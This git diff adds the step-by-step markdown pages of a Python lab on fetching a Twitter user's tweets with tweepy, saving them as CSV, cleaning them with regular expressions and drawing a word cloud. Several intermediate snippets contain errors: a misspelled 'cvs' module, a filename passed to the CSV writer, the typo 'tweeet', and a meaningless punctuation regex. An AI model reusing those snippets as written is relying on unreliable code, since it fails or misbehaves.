@@ -0,0 +1,36 @@
+
+
+### Step 1: Opening the new .cvs File
+
+Open and write in the .csv file by using the following line of code:
+
+```python
+with open(outfile,'w+') as file:
+```
+
+`open()` is a function that, you guessed it, opens files! The first argument it takes is the name of the file. It also takes a second optional argument that determines whether we are reading or writing to the file. The default setting for the second argument is reading the file. Because we want to write to this file, we set a second argument `'w+'`.
+
+
+
+### Step 2: Setting Up Writer
+
+Under the opened file, use the `csv.writer(file,delimiter)` function to specify how our data should be separated. This function will help us write to the .csv file. Because we are creating a .csv file, we want each of our values to be separated by a comma, so we set the delimiter as a comma.
+
+In this case, we want each of our data to be separated by a comma. Declare this function in a variable called `writer`.
+
+```python
+writer = cvs.writer(outfile, delimiter=",")
+```
+
+
+
+### Step 3: Writing to the .csv File
+
+Using `writer`, we want to write in our .csv file. To make our data tidy and easy to understand, we write the categories on the first row of the .csv file and then add the data from `tfile` in the rows below it as shown:
+
+```python
+writer.writerow(['User_Name','Tweet_ID','Source','Created_date',
+ 'Retweet_count','Favourite_count','Tweet'])
+writer.writerow(tfile)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/4.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/4.md
new file mode 100644
index 00000000..fda9a6ef
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/4.md
@@ -0,0 +1,10 @@
+
+
+
+
+The next thing we will move on to is to create our main function.
+
+This function puts the tweets that we have obtained into a .csv file using the previous function we defined, then, cleanse them, and output a Wordcloud based on the highest number of repeated words.
+
+We will create a **dataframe** before we output as a Wordcloud. A dataFrame is a data structure with columns containing potentially different types of information. You can think of it like a spreadsheet or a SQL table.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/41.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/41.md
new file mode 100644
index 00000000..eb1702e7
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/41.md
@@ -0,0 +1,18 @@
+
+
+Let's define a `main()` function and do the rest of our tasks there!
+
+
+
+### Step 1: Generate the .cvs File
+
+In this function, we start by obtaining the tweet-filled .csv file with the specific username, using the `get_tweets()` function we previously defined.
+
+
+
+### Step 2: Read the .cvs File and Check How It Goes!
+
+To read the .csv file that we generated from the `get_tweets()` function, we declare a variable `bg` that calls the function `read_csv()` from the `pandas` library.
+
+Check it by printing out the first 5 rows of data from `bg` using the `head()` function.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/411.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/411.md
new file mode 100644
index 00000000..d3aed744
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/411.md
@@ -0,0 +1,18 @@
+
+
+We want to define a `main()` function as follows:
+
+```python
+def main():
+```
+
+
+
+### Step 1: Get Tweet Data
+
+To generate the .csv file under the `main()` function that obtains tweets from a certain user, call the function `get_tweets()` as below:
+
+```python
+get_tweets()
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/412.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/412.md
new file mode 100644
index 00000000..d0b8ef66
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/412.md
@@ -0,0 +1,17 @@
+
+
+### Step 1: Read Through the Tweets Data
+
+Now we have the .cvs file generated by the `get_tweets()` function, and we would like to read through it and store it in the variable `bg` by using `read_cvs()`.
+
+```python
+bg = pd.read_csv(,encoding='utf-8')
+```
+
+
+
+### Step 2: Print Them Out!
+
+You can print the first `n` rows from your .csv file by using `print(bg.head(n))` to make sure everything is going smoothly.
+
+This will print out the first n items in `bg`.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/42.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/42.md
new file mode 100644
index 00000000..640fabf5
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/42.md
@@ -0,0 +1,12 @@
+
+
+### Step 1: Find the Pattern to Be Cleansed
+
+To cleanse the data in `bg`, we need to import the `re` library. After that, we will store the cleansed data into another variable called `bg2`.
+
+
+
+### Step 2: Cleanse Data and Store them
+
+After defining the patterns we want to clean, we can cleanse the data with a for loop, and store them in another variable `bg2`.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/421.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/421.md
new file mode 100644
index 00000000..7c7a71b7
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/421.md
@@ -0,0 +1,27 @@
+### Step 1: Cleanse Data and Store the Cleansed Data
+
+Go through the data in `bg` using a for loop
+
+```python
+for index, row in bg.iterrows():
+```
+
+and append cleansed data to `bg2`
+
+```python
+if '\\' not in row['Tweet']:
+ tweeet = re.sub(pattern1, "", row['Tweet'])
+ tweet = re.sub(pattern2, "", tweet)
+ tweet = re.sub(pattern3, "", tweet)
+ bg2.append(tweet)
+```
+
+
+
+### Step 2: Print Again!
+
+Print out `bg2` to make sure we have the data frame output that we want.
+
+```python
+print(bg2)
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/43.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/43.md
new file mode 100644
index 00000000..c73c0ba7
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/43.md
@@ -0,0 +1,14 @@
+
+
+Now we could make `bg2`, a list, into `bg3`, a two-dimensional size-mutable tabular data structure **dataframe**.
+
+### Step 1: Create a Dataframe
+
+After we have obtained our cleansed tweets in `bg2`, we create a new variable `bg3` that makes `bg2` into a data frame using the `DataFrame` function from the `pandas` library.
+
+
+
+### Step 2: Check How It Goes!
+
+Check it by printing out `bg3` to check for the right data frame output.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/431.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/431.md
new file mode 100644
index 00000000..48c0b5be
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/431.md
@@ -0,0 +1,19 @@
+
+
+### Step 1: Creating a Data Frame
+
+Let's store the cleansed data into a dataframe:
+
+```
+bg3 = pd.DataFrame(bg2, columns = ['tweet'])
+```
+
+Note:
+
+`pd.DataFrame()` takes many parameters: data, index, columns, dtype, and copy, but we will only need to use the data and columns parameters. `data` is the information we are passing in, in our case the cleansed tweets in bg2, and `columns` is the column labels to be shown in our table.
+
+
+
+### Step 2: Print Them Out!
+
+Let's print out `bg3` to make sure we have the data frame output that we want.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/5.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/5.md
new file mode 100644
index 00000000..2914b247
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/5.md
@@ -0,0 +1,21 @@
+
+
+
+
+Our last main step is to create a Wordcloud based on the dataframe of cleansed tweets. We're really close now!
+
+To do that, use the functions from `matplotlib`, `WordCloud`, and `matplotlib.pyplot` libraries.
+
+`matplotlib` is a plotting library for the Python programming language. It helps plotting in creating applications.
+
+`WordCloud` is a visual representation of text data. It displays a list of words, the importance of each distinguished by font size or color.
+
+`matplotlib.pyplot` is a collection of command style functions that make `matplotlib` work like MATLAB. Each `pyplot` function makes some change to a figure: ex: creates a figure, creates a plotting area in a figure, plots some lines in a plotting area, decorates the plot with labels, etc.
+
+Here is the documentation for each of these libraries if you want additional information:
+
+* [`matplotlib`](https://matplotlib.org/3.2.0/contents.html)
+* [`WordCloud`](https://amueller.github.io/word_cloud/)
+* [`matplotlib.pyplot`](https://matplotlib.org/api/_as_gen/matplotlib.pyplot)
+
+After creating the WordCloud, save the figure as well! You can then compile your entire code and you are done!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/51.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/51.md
new file mode 100644
index 00000000..c37e3807
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/51.md
@@ -0,0 +1,9 @@
+
+
+
+
+### Step 1: Setting WordCloud Parameters
+
+We start by setting the parameters of our Wordcloud plot. `rcParams()` function from the `matplotlib` library would help us do that.
+
+The parameters we want to set are `figure.figsize`, `font.size`, `savefig.dpi`, and `figure.subplot.bottom`.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/511.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/511.md
new file mode 100644
index 00000000..9521ad60
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/511.md
@@ -0,0 +1,31 @@
+
+
+### Step 1: Setting WordCloud Figure Parameters
+
+We start by setting the parameters of our Wordcloud plot. Use the `rcParams()` function from the `matplotlib` library to do so, as follows:
+
+```python
+mpl.rcParams[''] =
+```
+
+The parameters we want to set are `figure.figsize`, `font.size`, `savefig.dpi`, and `figure.subplot.bottom`.
+
+
+
+For example, we can set `figure.figsize` to [3.5, 6.5] by
+
+```python
+mpl.rcParams['figure.figsize'] = [3.5, 6.5]
+```
+
+
+
+### Step 2: Additional Information on Parameters
+
+The parameters `figure.figsize` and `font.size` should be pretty straight forward, you can set them to any integer value you'd like.
+
+`savefig.dpi` also can be set as an integer value. The value you set it to will be the resolution in dots per inch.
+
+`figure.subplot.bottom` sets the subplot layout. And it has parameters `left`, `right`, `bottom`, `top`, `wspace`,`hspace` to adjust. `wspace` is the amount of width reserved between subplots, and should expressed as a fraction of the average axis width.
+
+`hspace` is similar to `wspace` and it's the height reserved between subplots.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/52.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/52.md
new file mode 100644
index 00000000..33371ef1
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/52.md
@@ -0,0 +1,23 @@
+
+
+
+
+The next thing we want to do is to create the Wordcloud using `STOPWORDS` and `WordCloud` from the `wordcloud` library.
+
+
+
+### Step 1: Setting Stopwords
+
+Set the stopwords using `set(STOPWORDS)`. We use stopwords so that we can filter out commonly used words in the English language like "I", "the", "in", etc. It will give us a more unique wordcloud.
+
+
+
+### Step 2: Creating the WordCloud
+
+Create the wordcloud using the function `WordCloud().generate()`.
+
+To use the function, we need to join the tweets together first.
+
+The `join()` method takes **iterable**, which are objects that are capable of returning its members one at a time. For example, List, Tuple, String, Dictionary and Set are all iterable.
+
+The parameters we want to edit in the `WordCloud()` function are `background_color`, `stopwords`, `max_words`, `max_font_size`, and `random_state`.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/521.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/521.md
new file mode 100644
index 00000000..a458d8cb
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/521.md
@@ -0,0 +1,12 @@
+
+
+### Step 1: Setting Stopwords
+
+Now, we want to create the Wordcloud using `STOPWORDS` and `WordCloud` from the `wordcloud` library. We start by putting the stopwords in a set that we can easily reference, like this:
+
+```python
+stopwords = set(STOPWORDS)
+```
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/522.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/522.md
new file mode 100644
index 00000000..b4df386b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/522.md
@@ -0,0 +1,41 @@
+
+
+### Step 1: Joining Tweets
+
+Next, create a variable `text` that joins all the tweets in `bg3`, separated with a space:
+
+```python
+text = " ".join(tweet for tweet in bg3.tweet)
+```
+
+You can also do it this way:
+
+```python
+for tweet in bg3:
+ text = ' '.join(tweet)
+```
+
+
+
+### Step 2: Setting WordCloud Parameters
+
+We want to set the parameters in our WordCloud by doing the following:
+
+```python
+cloud = WordCloud(
+ background_color = ,
+ stopwords = stopwords,
+ max_words = ,
+ max_font_size = ,
+ random_state = )
+```
+
+
+
+### Step 3: Creating the WordCloud
+
+After that, we generate the WordCloud as follows:
+
+```python
+wordcloud = cloud.generate(str(text))
+```
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/53.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/53.md
new file mode 100644
index 00000000..5955c432
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/53.md
@@ -0,0 +1,14 @@
+
+
+
+
+### Step 1: Display the WordCloud
+
+After we have created our Wordcloud, we want to display it. To do so, we use functions from the `matplotlib.pyplot` library below:
+
+- `matplotlib.pyplot.figure()`
+- `matplotlib.pyplot.imshow()`
+- `matplotlib.pyplot.axis()`
+- `matplotlib.pyplot.show()`
+
+Once you have done the above, you can choose to add another line of code to save the Wordcloud you generated with the `savefig()` function.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/531.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/531.md
new file mode 100644
index 00000000..c9666d8d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/531.md
@@ -0,0 +1,41 @@
+
+
+### Step 1: Displaying WordCloud
+
+After we have created our Wordcloud, we want to display it. Functions from the `matplotlib.pyplot` library can help us do this.
+
+We start by plotting a figure:
+
+```
+fig = matplotlib.pyplot.figure(1)
+```
+
+
+
+### Step 2: Adjusting Parameters of the Figure
+
+Then, we can adjust some parameters such as `imshow()`, and `axis()`, and we can display our wordcloud by using `show()`.
+
+```
+matplotlib.pyplot.imshow()
+matplotlib.pyplot.axis('off')
+matplotlib.pyplot.show()
+```
+
+`matplotlib.pyplot.imshow()` displays the image, but does not store the image data of your WordCloud. We're calling it here to check to see if our WordCloud looks correct.
+
+`matplotlib.pyplot.axis('off')` hides the axes so that we get a clean looking WordCloud.
+
+`matplotlib.pyplot.show()` starts an event loop, looks for all currently active figure objects, and opens one or more interactive windows that display your figure or figures.
+
+
+
+### Step 3: Saving Your WordCloud
+
+Once you have done the above, you can choose to add another line of code to save the Wordcloud you generated with the `savefig()` function as shown:
+
+```
+fig.savefig("")
+```
+
+and you can include other parameters you want to set in the `savefig()`. Click [here](https://matplotlib.org/3.1.1/api/pyplot_summary.html) to see the documentation for these parameters.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/54.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/54.md
new file mode 100644
index 00000000..6717bf1e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/54.md
@@ -0,0 +1,32 @@
+
+
+
+
+### Step 1: Putting it All Together
+
+Now that we are done with all our code, we can compile it all together and run it. Congratulations for successfully generating a wordcloud to visualize tweets!
+
+```python
+#import your libraries
+import
+
+#declare your keys
+consumer_key =
+consumer_secret =
+access_token_key =
+access_token_secret =
+
+#Function to extract tweets
+def get_tweets(username):
+
+
+
+#Function to generate Wordcloud
+def main():
+
+
+
+#Call the main() function
+main()
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/541.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/541.md
new file mode 100644
index 00000000..88b4f23a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/541.md
@@ -0,0 +1,84 @@
+
+
+### Your Program is Ready! (yay \o/)
+
+Compile your code in the following manner and you are done! Congratulations!
+
+```python
+#import your libraries
+import
+
+#declare your keys
+consumer_key =
+consumer_secret =
+access_token_key =
+access_token_secret =
+
+#Function to extract tweets
+def get_tweets(username):
+ auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
+ auth.set_access_token(access_token_key, access_token_secret)
+
+ api = tweepy.API(auth)
+ tfile = []
+ for tweet in tweepy.Cursor(api.user_timeline, screen_name=username).items():
+ tfile.append([username, tweet.id_str, tweet.source, tweet.created_at,
+ tweet.retweet_count, tweet.favorite_count,
+ tweet.text.encode("utf-8")])
+
+ outfile = username + "_tweets_V1.csv"
+ print("writing to " + outfile)
+ with open(outfile, 'w+') as file:
+ writer = csv.writer(file, delimiter=',')
+ writer.writerow(['User_Name', 'Tweet_ID', 'Source', 'Created_date', 'Retweet_count', 'Favorite_count', 'Tweet'])
+ writer.writerows(tfile)
+
+
+def main():
+ bg = pd.read_csv("@KingJames_tweets_V1.csv", encoding='utf-8')
+ print(bg.head(10))
+
+ bg2 = []
+ import re
+ pattern1 = re.compile(" ' # S % & ' ( ) * + , - . / : ; < = > @ [ / ] ^ _ { | } ~")
+ pattern2 = re.compile("@[A-Za-z0-9]+")
+ pattern3 = re.compile("https?://[A-Za-z0-9./]+")
+
+ for index, row in bg.iterrows():
+ if '\\' not in row['Tweet']:
+ tweet = re.sub(pattern1, "", row['Tweet'])
+ tweet = re.sub(pattern2, "", tweet)
+ tweet = re.sub(pattern3, "", tweet)
+ bg2.append(tweet)
+
+ bg3 = pd.DataFrame(bg2, columns=['tweet'])
+ print('what')
+ print(bg3)
+
+ mpl.rcParams['figure.figsize'] = (16.0, 10.0)
+ mpl.rcParams['font.size'] = 12
+ mpl.rcParams['savefig.dpi'] = 1400
+ mpl.rcParams['figure.subplot.bottom'] = .1
+
+ stopwords = set(STOPWORDS)
+ text = " ".join(tweet for tweet in bg3.tweet)
+ print("There are {} words in the combination of all tweets.".format(len(text)))
+
+ wordcloud = WordCloud(
+ background_color='white',
+ stopwords=stopwords,
+ max_words=200,
+ max_font_size=40,
+ random_state=42
+ ).generate(str(text))
+
+ fig = plt.figure(1)
+ plt.imshow(wordcloud)
+ plt.axis('off')
+ plt.show()
+ fig.savefig("word1.png", dpi=1400)
+
+#Call the main() function
+main()
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/0_auth_stuff.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/0_auth_stuff.png
new file mode 100644
index 00000000..9ab561fc
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/0_auth_stuff.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/0_creating_app.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/0_creating_app.png
new file mode 100644
index 00000000..1686de68
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/0_creating_app.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/11_import.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/11_import.jpeg
new file mode 100644
index 00000000..6622915e
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/11_import.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/1_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/1_img.jpeg
new file mode 100644
index 00000000..0f68758e
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/1_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/21_key.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/21_key.jpeg
new file mode 100644
index 00000000..3a8439ac
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/21_key.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/2_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/2_img.jpeg
new file mode 100644
index 00000000..70c88bc1
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/2_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/31_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/31_img.jpeg
new file mode 100644
index 00000000..6e796375
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/31_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/32_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/32_img.jpeg
new file mode 100644
index 00000000..ef23fc95
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/32_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/3_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/3_img.jpeg
new file mode 100644
index 00000000..cab8ef53
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/3_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/41_reading.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/41_reading.jpeg
new file mode 100644
index 00000000..124a5992
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/41_reading.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/42_img.jpg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/42_img.jpg
new file mode 100644
index 00000000..b0b2f0a4
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/42_img.jpg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/43_dataframe.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/43_dataframe.png
new file mode 100644
index 00000000..3ea70acf
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/43_dataframe.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/4_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/4_img.jpeg
new file mode 100644
index 00000000..58a24f3d
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/4_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/51_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/51_img.jpeg
new file mode 100644
index 00000000..f83f74f9
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/51_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/53_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/53_img.jpeg
new file mode 100644
index 00000000..8eb13fcc
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/53_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/5_img.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/5_img.jpeg
new file mode 100644
index 00000000..38881483
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/5_img.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/csv_file.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/csv_file.png
new file mode 100644
index 00000000..d3e756a1
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/csv_file.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/finish.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/finish.jpeg
new file mode 100644
index 00000000..f10207b3
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/finish.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/wordcloud.jpg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/wordcloud.jpg
new file mode 100644
index 00000000..177d855f
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/images/wordcloud.jpg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/readme.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/readme.md
new file mode 100644
index 00000000..d66b154e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Companies/readme.md
@@ -0,0 +1,5 @@
+For this lab, we will be analyzing tweets using Twitter's API and `tweepy` package in Python by creating a Word Cloud to observe the frequency of words being used in a company's tweets.
+
+Analyzing the words used by a company in an increasingly cluttered social media world has many uses. Companies use social media to generate excitement around their products and increase awareness of their company, so the words they choose in their tweets can provide lots of insight into the values of marketing strategies and values of companies on Twitter.
+
